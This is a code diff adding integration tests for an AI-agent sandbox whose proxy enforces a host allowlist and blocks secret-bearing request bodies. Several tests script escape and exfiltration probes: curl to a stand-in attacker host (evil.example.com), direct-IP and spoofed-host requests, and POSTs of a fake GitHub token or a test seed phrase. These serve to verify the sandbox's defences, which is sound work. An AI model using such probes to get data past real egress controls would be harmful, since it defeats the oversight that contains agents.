@@ -0,0 +1,45 @@
"""Canary: the pinned pipelock image's binary actually runs.
This test exists to catch a broken upstream packaging at the pinned
digest. It is NOT part of the per-push suite — that would couple every
dev push to upstream registry availability. Set
BOT_BOTTLE_RUN_CANARIES=1 to opt in (a scheduled CI workflow does
this; humans can run it ad-hoc the same way).
"""
import os
import subprocess
import unittest
from bot_bottle.backend.docker.pipelock import PIPELOCK_IMAGE
from tests._docker import skip_unless_docker
@unittest.skipUnless(
os.environ.get("BOT_BOTTLE_RUN_CANARIES") == "1",
"canary suite is opt-in; set BOT_BOTTLE_RUN_CANARIES=1 to run",
)
@skip_unless_docker()
class TestPipelockImage(unittest.TestCase):
@classmethod
def setUpClass(cls):
result = subprocess.run(
["docker", "pull", PIPELOCK_IMAGE],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
check=False,
)
if result.returncode != 0:
raise unittest.SkipTest(f"could not pull {PIPELOCK_IMAGE}")
def test_binary_runs(self):
result = subprocess.run(
["docker", "run", "--rm", PIPELOCK_IMAGE, "--version"],
capture_output=True, text=True, check=False,
)
out = result.stdout + result.stderr
self.assertRegex(out, r"[Pp]ipelock|2\.[0-9]+\.[0-9]+")
if __name__ == "__main__":
unittest.main()
tests/integration/test_capability_apply.py
+2 -1
View File
@@ -24,6 +24,7 @@ this test runs in DinD too — no act_runner skip needed.
from __future__ import annotations
import os
import shutil
import subprocess
import tempfile
import time
@@ -31,7 +32,7 @@ import unittest
from pathlib import Path
from bot_bottle import supervise
from bot_bottle.backend.docker import bottle_state
from bot_bottle.backend.docker import bottle_state, capability_apply
from bot_bottle.backend.docker.capability_apply import apply_capability_change
from bot_bottle.backend.docker.network import (
network_create_egress,
tests/integration/test_pipelock_allow_node.py
+110
View File
@@ -0,0 +1,110 @@
"""Integration: a Node request to a host on pipelock's allowlist is
tunneled through.
End-to-end mirror of test_pipelock_block_node: drives `BottleBackend.
prepare → launch` so the real image build, network plumbing, and
pipelock sidecar are all in the loop. Inside the bottle, a Node
script issues an HTTPS CONNECT for raw.githubusercontent.com:443 —
a host in the baked-in default allowlist — through `$HTTPS_PROXY`.
Pipelock must answer 200 Connection Established. The 200 vs. 403
split on CONNECT is decided by pipelock itself (the remote never
sees the CONNECT verb), so it isolates the allowlist decision from
anything the remote might return.
"""
from __future__ import annotations
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from tests._docker import skip_unless_docker
from tests.fixtures import fixture_minimal
# Output contract (parsed by the test):
# - "connect=<code>" proxy upgraded to a tunnel (CONNECT success path)
# - "status=<code>" proxy answered without tunneling (block path)
# - "error=<code> <message>" transport-level failure
# - "timeout" request hung
_PROBE_JS = r"""
const http = require('http');
const proxy = new URL(process.env.HTTPS_PROXY);
const req = http.request({
host: proxy.hostname,
port: proxy.port,
method: 'CONNECT',
path: 'raw.githubusercontent.com:443',
});
req.on('connect', (res, socket) => {
console.log('connect=' + res.statusCode);
socket.destroy();
process.exit(0);
});
req.on('response', (res) => {
res.resume();
res.on('end', () => {
console.log('status=' + res.statusCode);
process.exit(0);
});
});
req.on('error', (e) => {
console.log('error=' + (e.code || '') + ' ' + e.message);
process.exit(0);
});
req.setTimeout(5000, () => {
console.log('timeout');
req.destroy();
});
req.end();
"""
@skip_unless_docker()
class TestPipelockAllowsNode(unittest.TestCase):
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: docker socket mount topology breaks "
"in-process visibility of networks created on the host daemon",
)
def test_node_request_to_allowed_host_is_tunneled(self):
backend = get_bottle_backend()
stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
try:
spec = BottleSpec(
manifest=fixture_minimal(),
agent_name="demo",
copy_cwd=False,
user_cwd=str(stage_dir),
)
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
script = (
"set -e\n"
"cat > /tmp/probe.js <<'PROBE_EOF'\n"
f"{_PROBE_JS}\n"
"PROBE_EOF\n"
"node /tmp/probe.js\n"
)
result = bottle.exec(script)
finally:
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(
0, result.returncode,
f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
)
# raw.githubusercontent.com IS in fixture_minimal's effective
# allowlist (baked-in default). Pipelock must answer the CONNECT
# with 200 Connection Established.
self.assertIn(
"connect=200", result.stdout,
f"pipelock should have tunneled to raw.githubusercontent.com; got: {result.stdout!r}",
)
if __name__ == "__main__":
unittest.main()
tests/integration/test_pipelock_allows_normal_https.py
+83
View File
@@ -0,0 +1,83 @@
"""Integration: with pipelock's tls_interception enabled (PRD 0006),
a clean HTTPS GET to an allowlisted host succeeds end-to-end through
the bumped tunnel.
Complement to test_pipelock_blocks_secret_https_post — together they
pin pipelock's two paths (block on body match, allow on clean
traffic). This test is also the implicit TLS-trust check: if
provision_ca had failed to install pipelock's CA into the agent's
trust store, curl would have rejected the bumped leaf cert and the
fetch would have failed before any HTTP response could come back."""
from __future__ import annotations
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from tests._docker import skip_unless_docker
from tests.fixtures import fixture_minimal
# raw.githubusercontent.com is in the baked-in DEFAULT_ALLOWLIST.
# `git`'s own README on the master branch is a long-lived raw file
# (~3 KB) that any CI runner with internet can fetch.
_TARGET_URL = "https://raw.githubusercontent.com/git/git/master/README.md"
@skip_unless_docker()
class TestPipelockAllowsNormalHttps(unittest.TestCase):
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: docker socket mount topology breaks "
"in-process visibility of networks created on the host daemon",
)
def test_https_get_to_allowed_host_succeeds(self):
backend = get_bottle_backend()
stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
try:
spec = BottleSpec(
manifest=fixture_minimal(),
agent_name="demo",
copy_cwd=False,
user_cwd=str(stage_dir),
)
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
script = (
"set -eu\n"
'curl --proxy "$HTTPS_PROXY" -s --max-time 10 \\\n'
" -w 'status=%{http_code}\\n' \\\n"
" -o /tmp/probe-body.txt \\\n"
f" {_TARGET_URL}\n"
'echo "len=$(wc -c < /tmp/probe-body.txt)"\n'
)
result = bottle.exec(script)
finally:
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(
0, result.returncode,
f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
)
# 200 from the upstream (pipelock forwarded after the body
# scan passed). If curl had failed the bumped-cert trust
# check, the exit code or status would be non-200 here.
self.assertIn(
"status=200", result.stdout,
f"expected 200 from raw.githubusercontent.com; got: {result.stdout!r}",
)
# The git README is ~3 KB. Anything substantially non-zero
# proves the response body actually transferred — i.e. the
# CONNECT tunnel + bumped TLS + body forwarding all worked.
self.assertNotIn(
"len=0\n", result.stdout,
f"response body was empty: {result.stdout!r}",
)
if __name__ == "__main__":
unittest.main()
tests/integration/test_pipelock_apply.py
+210
View File
@@ -0,0 +1,210 @@
"""Integration: drive `apply_allowlist_change` against a real
pipelock sidecar (PRD 0015).
Brings up a real pipelock container via direct `docker run` (the
old `.start()` helper went away in PRD 0024 chunk 3), calls
apply_allowlist_change to swap the api_allowlist, restarts
pipelock, and verifies the running container now serves the new
yaml.
The hot-reload code path under test (apply_allowlist_change,
fetch_current_yaml, fetch_current_allowlist) is unchanged from
PRD 0015 — only the test's bringup helper moved.
Setup uses pipelock_tls_init which bind-mounts a host path into a
one-shot pipelock container — that doesn't work in DinD, so the
test skips under GITEA_ACTIONS.
"""
from __future__ import annotations
import os
import shutil
import subprocess
import tempfile
import time
import unittest
from pathlib import Path
from bot_bottle.backend.docker.bottle_state import pipelock_state_dir
from bot_bottle.backend.docker.network import (
network_create_egress,
network_create_internal,
network_remove,
)
from bot_bottle.backend.docker.pipelock import (
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
pipelock_tls_init,
)
from bot_bottle.pipelock import PipelockProxy
from bot_bottle.backend.docker.pipelock_apply import (
PipelockApplyError,
apply_allowlist_change,
fetch_current_allowlist,
fetch_current_yaml,
)
from bot_bottle.backend.docker.sidecar_bundle import (
SIDECAR_BUNDLE_IMAGE,
sidecar_bundle_container_name,
)
from bot_bottle.yaml_subset import parse_yaml_subset
from tests._docker import skip_unless_docker
from tests.fixtures import fixture_minimal
@skip_unless_docker()
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: pipelock_tls_init uses a host bind mount "
"that doesn't share fs with the runner container",
)
class TestPipelockApply(unittest.TestCase):
def setUp(self):
self.slug = f"cb-test-pla-{os.getpid()}-{int(time.time())}"
self.sidecar_name = ""
self.internal_net = ""
self.egress_net = ""
self.work_dir = Path(tempfile.mkdtemp(prefix="pipelock-apply."))
def tearDown(self):
if self.sidecar_name:
subprocess.run(
["docker", "rm", "-f", self.sidecar_name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
)
for n in (self.internal_net, self.egress_net):
if n:
network_remove(n)
shutil.rmtree(self.work_dir, ignore_errors=True)
# Clean up the per-slug state dir under ~/.bot-bottle/state/
# (apply_allowlist_change writes there; _bring_up calls
# proxy.prepare with the same path so the bind-mount and the
# hot-reload write target stay coherent).
shutil.rmtree(pipelock_state_dir(self.slug), ignore_errors=True)
def _bring_up(self) -> None:
"""Brings up the bundle image with only the pipelock daemon
selected. The bundle's Python supervisor is PID 1, which is
what apply_allowlist_change targets via `docker kill
--signal USR1` — pipelock alone as PID 1 wouldn't survive
SIGUSR1 (default disposition = terminate). This shape is
what runs in production minus the other three daemons.
The yaml stages into the production-real
`pipelock_state_dir(slug)` (not a private temp dir) so the
bind-mount target matches what `apply_allowlist_change`
writes to — otherwise the hot-reload would write to a
nowhere-mounted host path and the container would never see
the updated config."""
state_dir = pipelock_state_dir(self.slug)
state_dir.mkdir(parents=True, exist_ok=True)
prep = PipelockProxy().prepare(
fixture_minimal().bottles["dev"], self.slug, state_dir,
)
self.internal_net = network_create_internal(self.slug)
self.egress_net = network_create_egress(self.slug)
ca_cert_host, ca_key_host = pipelock_tls_init(state_dir)
# Ensure the bundle image is built. compose normally builds
# this lazily; we go through `docker run` here so we have to
# do it ourselves. Idempotent — cached layers make repeats
# fast.
repo_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
subprocess.run(
["docker", "build",
"-t", SIDECAR_BUNDLE_IMAGE,
"-f", "Dockerfile.sidecars", "."],
cwd=repo_root, check=True, capture_output=True,
)
self.sidecar_name = sidecar_bundle_container_name(self.slug)
subprocess.run(
["docker", "create",
"--name", self.sidecar_name,
"--network", self.internal_net,
"-e", "BOT_BOTTLE_SIDECAR_DAEMONS=pipelock",
"-v", f"{prep.yaml_path}:/etc/pipelock.yaml:ro",
"-v", f"{ca_cert_host}:{PIPELOCK_CA_CERT_IN_CONTAINER}:ro",
"-v", f"{ca_key_host}:{PIPELOCK_CA_KEY_IN_CONTAINER}:ro",
SIDECAR_BUNDLE_IMAGE],
check=True, capture_output=True,
)
subprocess.run(
["docker", "network", "connect", self.egress_net, self.sidecar_name],
check=True, capture_output=True,
)
subprocess.run(
["docker", "start", self.sidecar_name],
check=True, capture_output=True,
)
# Wait until fetch_current_yaml succeeds — it's a docker cp
# which works on a started-but-not-yet-ready pipelock, so
# this is more of a "container exists" probe than a
# readiness one; the hot-reload tests below tolerate
# pipelock briefly being slow to serve.
deadline = time.monotonic() + 15.0
while time.monotonic() < deadline:
try:
fetch_current_yaml(self.slug)
return
except PipelockApplyError:
pass
time.sleep(0.25)
raise AssertionError("pipelock sidecar never became reachable")
def _wait_for_yaml(self, contains: str, *, deadline_s: float = 15.0) -> str:
"""Poll docker exec until /etc/pipelock.yaml contains `contains`,
returning the yaml. Used to bridge the docker-restart window."""
deadline = time.monotonic() + deadline_s
while time.monotonic() < deadline:
try:
yaml = fetch_current_yaml(self.slug)
if contains in yaml:
return yaml
except PipelockApplyError:
pass
time.sleep(0.25)
self.fail(f"never saw {contains!r} in /etc/pipelock.yaml")
def test_apply_swaps_api_allowlist(self):
self._bring_up()
initial_yaml = fetch_current_yaml(self.slug)
# fixture_minimal yields the baked-in DEFAULT_ALLOWLIST in
# pipelock.py; api.anthropic.com is in there.
self.assertIn("api.anthropic.com", initial_yaml)
new_content = "api.anthropic.com\nnew-host.example\n"
before, after = apply_allowlist_change(self.slug, new_content)
self.assertIn("api.anthropic.com", before)
self.assertNotIn("new-host.example", before)
self.assertIn("new-host.example", after)
updated = self._wait_for_yaml("new-host.example")
cfg = parse_yaml_subset(updated)
self.assertIn("new-host.example", cfg["api_allowlist"]) # type: ignore[operator]
self.assertIn("api.anthropic.com", cfg["api_allowlist"]) # type: ignore[operator]
# tls_interception block (set up by the production prepare
# via pipelock_build_config) is preserved across the swap.
self.assertIn("tls_interception", cfg)
def test_apply_with_invalid_host_raises(self):
self._bring_up()
with self.assertRaises(PipelockApplyError):
apply_allowlist_change(self.slug, "host with space.example\n")
def test_fetch_current_allowlist_renders_one_per_line(self):
self._bring_up()
listing = fetch_current_allowlist(self.slug)
self.assertTrue(listing.endswith("\n"))
self.assertIn("api.anthropic.com\n", listing)
def test_apply_against_missing_sidecar_raises(self):
# Don't bring up — the slug points at nothing.
with self.assertRaises(PipelockApplyError):
apply_allowlist_change(self.slug, "x.example\n")
if __name__ == "__main__":
unittest.main()
tests/integration/test_pipelock_block_node.py
+114
View File
@@ -0,0 +1,114 @@
"""Integration: a Node script run inside a launched bottle, hitting
a host outside the pipelock allowlist, is blocked.
End-to-end: drives `BottleBackend.prepare → launch` so the real
image build, network plumbing, and pipelock sidecar are all in the
loop. Inside the bottle, a Node script forms an HTTP forward-proxy
request (absolute-URI path) to `example.com` via `$HTTPS_PROXY`. The
fixture's effective allowlist contains only the baked-in defaults,
so pipelock must refuse to forward.
"""
from __future__ import annotations
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from tests._docker import skip_unless_docker
from tests.fixtures import fixture_minimal
# Node's stdlib http does not respect HTTPS_PROXY on its own; this
# script builds the forward-proxy request shape by hand so the test
# is asserting on pipelock's allowlist decision, not on whatever
# proxy-env auto-detection a Node release happens to ship.
#
# Output contract (parsed by the test):
# - "status=<code>" when the proxy returns an HTTP response
# - "error=<code> <message>" on a transport-level failure
# - "timeout" on a hung request
_PROBE_JS = r"""
const http = require('http');
const proxy = new URL(process.env.HTTPS_PROXY);
const req = http.request({
host: proxy.hostname,
port: proxy.port,
method: 'GET',
path: 'http://example.com/',
headers: { Host: 'example.com' },
}, (res) => {
res.resume();
res.on('end', () => {
console.log('status=' + res.statusCode);
process.exit(0);
});
});
req.on('error', (e) => {
console.log('error=' + (e.code || '') + ' ' + e.message);
process.exit(0);
});
req.setTimeout(5000, () => {
console.log('timeout');
req.destroy();
});
req.end();
"""
@skip_unless_docker()
class TestPipelockBlocksNode(unittest.TestCase):
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: docker socket mount topology breaks "
"in-process visibility of networks created on the host daemon",
)
def test_node_request_to_blocked_host_is_rejected(self):
backend = get_bottle_backend()
stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
try:
spec = BottleSpec(
manifest=fixture_minimal(),
agent_name="demo",
copy_cwd=False,
user_cwd=str(stage_dir),
)
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
script = (
"set -e\n"
"cat > /tmp/probe.js <<'PROBE_EOF'\n"
f"{_PROBE_JS}\n"
"PROBE_EOF\n"
"node /tmp/probe.js\n"
)
result = bottle.exec(script)
finally:
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(
0, result.returncode,
f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
)
# The probe always prints exactly one signal line. If it
# doesn't, the script failed in a way the test doesn't
# understand and the surrounding assertions would be
# ambiguous.
self.assertTrue(
"status=" in result.stdout or "error=" in result.stdout or "timeout" in result.stdout,
f"probe produced no recognized output: {result.stdout!r}",
)
# The core invariant: example.com is NOT in fixture_minimal's
# effective allowlist (only the baked-in defaults), so the
# proxy must not have forwarded a successful response.
self.assertNotIn(
"status=200", result.stdout,
"example.com is outside the allowlist; pipelock should not have forwarded a 200",
)
if __name__ == "__main__":
unittest.main()
tests/integration/test_pipelock_blocks_secret_https_post.py
+101
View File
@@ -0,0 +1,101 @@
"""Integration: with pipelock's tls_interception enabled (PRD 0006),
a credential POST sent over HTTPS is blocked by pipelock's body-scan
layer — closing the gap that motivated this PRD.
End-to-end: drives `BottleBackend.prepare → launch` so the real
image build, network plumbing, pipelock_tls_init, sidecar bring-up,
and provision_ca (CA install in the agent's trust store) are all in
the loop. The probe is a single `curl --proxy "$HTTPS_PROXY" -X POST
... https://raw.githubusercontent.com/...` — curl natively does
CONNECT through the proxy, the agent's trust store now contains
pipelock's per-bottle CA so curl trusts pipelock's bumped leaf, and
pipelock sees the decrypted body and returns its known
`blocked: request body contains secret: <pattern>` 403.
The host has to be allowlisted (so the CONNECT is accepted) but must
not opt into `pipelock.tls_passthrough` (so the body actually gets
scanned). This probe targets `raw.githubusercontent.com`, which is on
the baked allowlist and intercepted+scanned like any non-passthrough
host."""
from __future__ import annotations
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from bot_bottle.manifest import Manifest
from tests._docker import skip_unless_docker
# Synthetic value shaped like a GitHub Personal Access Token; not a
# real credential. Carried into the bottle as an env var so the
# probe shell can read it via $FAKE_TOKEN without ever interpolating
# the value on the bash `bottle.exec` argv.
_FAKE_TOKEN = "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ"
@skip_unless_docker()
class TestPipelockBlocksSecretHttpsPost(unittest.TestCase):
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: docker socket mount topology breaks "
"in-process visibility of networks created on the host daemon",
)
def test_https_post_with_credential_body_is_blocked(self):
manifest = Manifest.from_json_obj({
"bottles": {
"dev": {"env": {"FAKE_TOKEN": _FAKE_TOKEN}},
},
"agents": {
"demo": {"skills": [], "prompt": "", "bottle": "dev"},
},
})
backend = get_bottle_backend()
stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
try:
spec = BottleSpec(
manifest=manifest,
agent_name="demo",
copy_cwd=False,
user_cwd=str(stage_dir),
)
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
script = (
"set -eu\n"
'curl --proxy "$HTTPS_PROXY" -s --max-time 8 \\\n'
" -w 'status=%{http_code}\\n' \\\n"
" -o /tmp/probe-body.txt \\\n"
' -X POST -d "token=$FAKE_TOKEN" \\\n'
" https://raw.githubusercontent.com/dlp-probe\n"
'echo "body=$(head -c 200 /tmp/probe-body.txt)"\n'
)
result = bottle.exec(script)
finally:
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(
0, result.returncode,
f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
)
# Pipelock's body-scan block returns 403 with a plain-text
# body starting `blocked: ` (pinned empirically; see
# tests/unit/test_mitmproxy_verdict.py for the
# corresponding-fingerprint test, retained from PR #8 as
# general pipelock-block-shape coverage).
self.assertIn(
"status=403", result.stdout,
f"expected 403 from pipelock; got: {result.stdout!r}",
)
self.assertIn(
"body=blocked: ", result.stdout,
f"expected pipelock block body; got: {result.stdout!r}",
)
if __name__ == "__main__":
unittest.main()
tests/integration/test_pipelock_blocks_secret_post.py
+132
View File
@@ -0,0 +1,132 @@
"""Integration: pipelock blocks a POST whose body carries a
recognized credential pattern, even when the host is on the
allowlist.
End-to-end companion to the block / allow node tests. The manifest
carries a literal env var whose value matches pipelock's DLP rules.
A Node script POSTs that value to an allowlisted host via plain
HTTP forward proxy (absolute-URI form) so pipelock can scan the
body — routing the same request over CONNECT would tunnel TLS
opaquely and the DLP layer would have nothing to see. The 403
return from pipelock isolates the body-scan layer as the active
control, distinct from the host-allowlist decision the other two
tests pin down.
"""
from __future__ import annotations
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from bot_bottle.manifest import Manifest
from tests._docker import skip_unless_docker
# Synthetic value shaped like a GitHub Personal Access Token
# (`ghp_` + 36 alnum chars). Not a real token; the only relevant
# property is that pipelock's default DLP rules recognize the
# shape. Kept obviously dummy so a stray grep can't mistake it
# for a real credential.
_FAKE_TOKEN = "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ"
# Output contract (parsed by the test):
# - "status=<code>" proxy answered with an HTTP response
# - "error=<code> <message>" transport-level failure
# - "timeout" request hung
_PROBE_JS = r"""
const http = require('http');
const proxy = new URL(process.env.HTTPS_PROXY);
const body = 'token=' + process.env.FAKE_TOKEN;
const req = http.request({
host: proxy.hostname,
port: proxy.port,
method: 'POST',
// Absolute-URI form: pipelock acts as a plain HTTP forward proxy
// and the body is visible to its DLP scanner. CONNECT would
// tunnel TLS bytes that pipelock can't see into.
path: 'http://api.anthropic.com/dlp-probe',
headers: {
Host: 'api.anthropic.com',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(body),
},
}, (res) => {
res.resume();
res.on('end', () => {
console.log('status=' + res.statusCode);
process.exit(0);
});
});
req.on('error', (e) => {
console.log('error=' + (e.code || '') + ' ' + e.message);
process.exit(0);
});
req.setTimeout(5000, () => {
console.log('timeout');
req.destroy();
});
req.write(body);
req.end();
"""
@skip_unless_docker()
class TestPipelockBlocksSecretPost(unittest.TestCase):
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: docker socket mount topology breaks "
"in-process visibility of networks created on the host daemon",
)
def test_post_with_credential_body_is_blocked(self):
manifest = Manifest.from_json_obj({
"bottles": {
"dev": {"env": {"FAKE_TOKEN": _FAKE_TOKEN}},
},
"agents": {
"demo": {"skills": [], "prompt": "", "bottle": "dev"},
},
})
backend = get_bottle_backend()
stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
try:
spec = BottleSpec(
manifest=manifest,
agent_name="demo",
copy_cwd=False,
user_cwd=str(stage_dir),
)
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
script = (
"set -e\n"
"cat > /tmp/probe.js <<'PROBE_EOF'\n"
f"{_PROBE_JS}\n"
"PROBE_EOF\n"
"node /tmp/probe.js\n"
)
result = bottle.exec(script)
finally:
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(
0, result.returncode,
f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
)
# api.anthropic.com is on the baked-in allowlist, so the
# host-allowlist layer would have let this through. Pipelock's
# DLP body-scan layer must catch the credential pattern and
# answer 403; any other code means the body reached the
# upstream.
self.assertIn(
"status=403", result.stdout,
f"pipelock DLP should have blocked the credential POST; got: {result.stdout!r}",
)
if __name__ == "__main__":
unittest.main()
tests/integration/test_pipelock_llm_passthrough.py
+107
View File
@@ -0,0 +1,107 @@
"""Integration: route-owned `pipelock.tls_passthrough` renders into
pipelock's `tls_interception.passthrough_domains`, so request bodies
that would otherwise trip the body-scan layer are not inspected and the
request reaches the provider TLS endpoint.
Probe: POST the canonical zero-entropy 12-word BIP-39 mnemonic
(`abandon` × 11 + `about`) — checksum-valid by construction — to
`https://api.anthropic.com/v1/messages`. With the route policy,
pipelock relays the CONNECT opaquely and the upstream replies with
whatever it likes (401/4xx from Anthropic for an unauthenticated junk
POST). We assert that the verdict is NOT pipelock's block.
"""
from __future__ import annotations
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from bot_bottle.manifest import Manifest
from tests._docker import skip_unless_docker
# Canonical BIP-39 12-word test mnemonic. Valid SHA-256 checksum —
# pipelock's seed-phrase scanner (default `verify_checksum: true`)
# fires on this exact string if it ever sees the cleartext body.
_BIP39_PHRASE = (
"abandon abandon abandon abandon abandon abandon "
"abandon abandon abandon abandon abandon about"
)
@skip_unless_docker()
class TestPipelockLlmPassthrough(unittest.TestCase):
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: docker socket mount topology breaks "
"in-process visibility of networks created on the host daemon",
)
def test_bip39_body_to_anthropic_is_not_blocked(self):
manifest = Manifest.from_json_obj({
"bottles": {
"dev": {
"env": {"SEED": _BIP39_PHRASE},
"egress": {"routes": [{
"host": "api.anthropic.com",
"pipelock": {"tls_passthrough": True},
}]},
},
},
"agents": {
"demo": {"skills": [], "prompt": "", "bottle": "dev"},
},
})
backend = get_bottle_backend()
stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
try:
spec = BottleSpec(
manifest=manifest,
agent_name="demo",
copy_cwd=False,
user_cwd=str(stage_dir),
)
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
script = (
"set -eu\n"
'curl --proxy "$HTTPS_PROXY" -s --max-time 10 \\\n'
" -w 'status=%{http_code}\\n' \\\n"
" -o /tmp/probe-body.txt \\\n"
' -X POST -H "content-type: application/json" \\\n'
' --data "{\\"phrase\\": \\"$SEED\\"}" \\\n'
" https://api.anthropic.com/v1/messages\n"
'echo "body=$(head -c 200 /tmp/probe-body.txt)"\n'
)
result = bottle.exec(script)
finally:
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(
0, result.returncode,
f"exec wrapper failed: stdout={result.stdout!r} "
f"stderr={result.stderr!r}",
)
# The pipelock block verdict starts with `blocked: ` in the
# body. Anything else (auth error, 401, 4xx from Anthropic) is
# an acceptable outcome — it means the body was NOT inspected
# by the proxy and the request was relayed to the upstream
# TLS endpoint.
self.assertNotIn(
"body=blocked: ", result.stdout,
f"unexpected pipelock body-scan block on api.anthropic.com; "
f"expected passthrough to skip MITM. got: {result.stdout!r}",
)
self.assertNotIn(
"BIP-39", result.stdout,
f"BIP-39 verdict should never appear for api.anthropic.com "
f"requests under tls_interception.passthrough_domains; "
f"got: {result.stdout!r}",
)
if __name__ == "__main__":
unittest.main()
tests/integration/test_sandbox_escape.py
+45 -40
View File
@@ -53,7 +53,7 @@ _FAKE_SECRETS = {
@skip_unless_docker()
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: egress_tls_init uses a host bind mount "
"skipped under act_runner: pipelock_tls_init uses a host bind mount "
"the runner container can't see, and the network topology hides "
"sibling-sidecar visibility — same constraint as the other "
"bottle-bringup integration tests",
@@ -120,10 +120,11 @@ class TestSandboxEscape(unittest.TestCase):
# is intentionally unreachable — the pre-receive
# gitleaks hook must reject BEFORE git-gate
# attempts the upstream push.
"git-gate": {"repos": {
"throwaway": {
"url": "ssh://git@unreachable.invalid:22/throwaway.git",
"identity": str(cls._key_path),
"git": {"remotes": {
"unreachable.invalid": {
"Name": "throwaway",
"Upstream": "ssh://git@unreachable.invalid:22/throwaway.git",
"IdentityFile": str(cls._key_path),
},
}},
},
@@ -194,10 +195,10 @@ class TestSandboxEscape(unittest.TestCase):
except BaseException:
pass
cls._identity = ""
if cls._stage_dir is not None: # type: ignore
if cls._stage_dir is not None:
shutil.rmtree(cls._stage_dir, ignore_errors=True)
cls._stage_dir = None # type: ignore[assignment]
if cls._key_path is not None: # type: ignore
if cls._key_path is not None:
try:
cls._key_path.unlink()
except OSError:
@@ -211,7 +212,7 @@ class TestSandboxEscape(unittest.TestCase):
`bottle.egress.routes` (only api.anthropic.com is). Pipelock
or egress should reject the request with a non-200 response,
and the actual upstream's content must not appear in stdout."""
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'https://evil.example.com/'
)
@@ -231,7 +232,7 @@ class TestSandboxEscape(unittest.TestCase):
hostname to a non-allowlisted IP. Pipelock should
not honor the spoof (it does its own resolution)."""
with self.subTest(attack="direct IP"):
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'https://198.51.100.1/'
)
@@ -242,7 +243,7 @@ class TestSandboxEscape(unittest.TestCase):
)
with self.subTest(attack="host-header spoof"):
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'--resolve api.anthropic.com:443:198.51.100.1 '
'https://api.anthropic.com/'
@@ -255,19 +256,22 @@ class TestSandboxEscape(unittest.TestCase):
# ---- attack 3: HTTP exfil shapes ---------------------------------
# Sandbox-block signature: egress returns HTTP 403 on policy
# reject; the response body carries a recognizable marker.
# Egress's reject message starts with `"egress: host '...'
# is not in the bottle's egress.routes allowlist"`.
_SANDBOX_BLOCK_MARKERS = ("egress:", "blocked:")
# Sandbox-block signature: pipelock / egress return HTTP 403 on
# policy reject; the response body carries a recognizable
# marker. Egress's reject message starts `"egress: host '...'
# is not in the bottle's egress.routes allowlist"`; pipelock's
# DLP rejects start `"blocked: "` (e.g.
# `"blocked: DLP match: Anthropic API Key (critical)"`,
# `"blocked: request body contains secret"`).
_SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
def _assert_sandbox_block(self, label: str, r: object) -> None: # type: ignore
def _assert_sandbox_block(self, label: str, r) -> None:
"""A real sandbox block produces an HTTP 403 with a
recognizable sandbox sidecar marker in the body. ANY
other outcome (200 from upstream, 401/404 from upstream,
non-marker 5xx) means the request escaped — the secret
reached the network."""
body_and_code = (r.stdout or "").strip() # type: ignore
body_and_code = (r.stdout or "").strip()
# The curl invocation appends `\nHTTP_CODE:%{http_code}` so
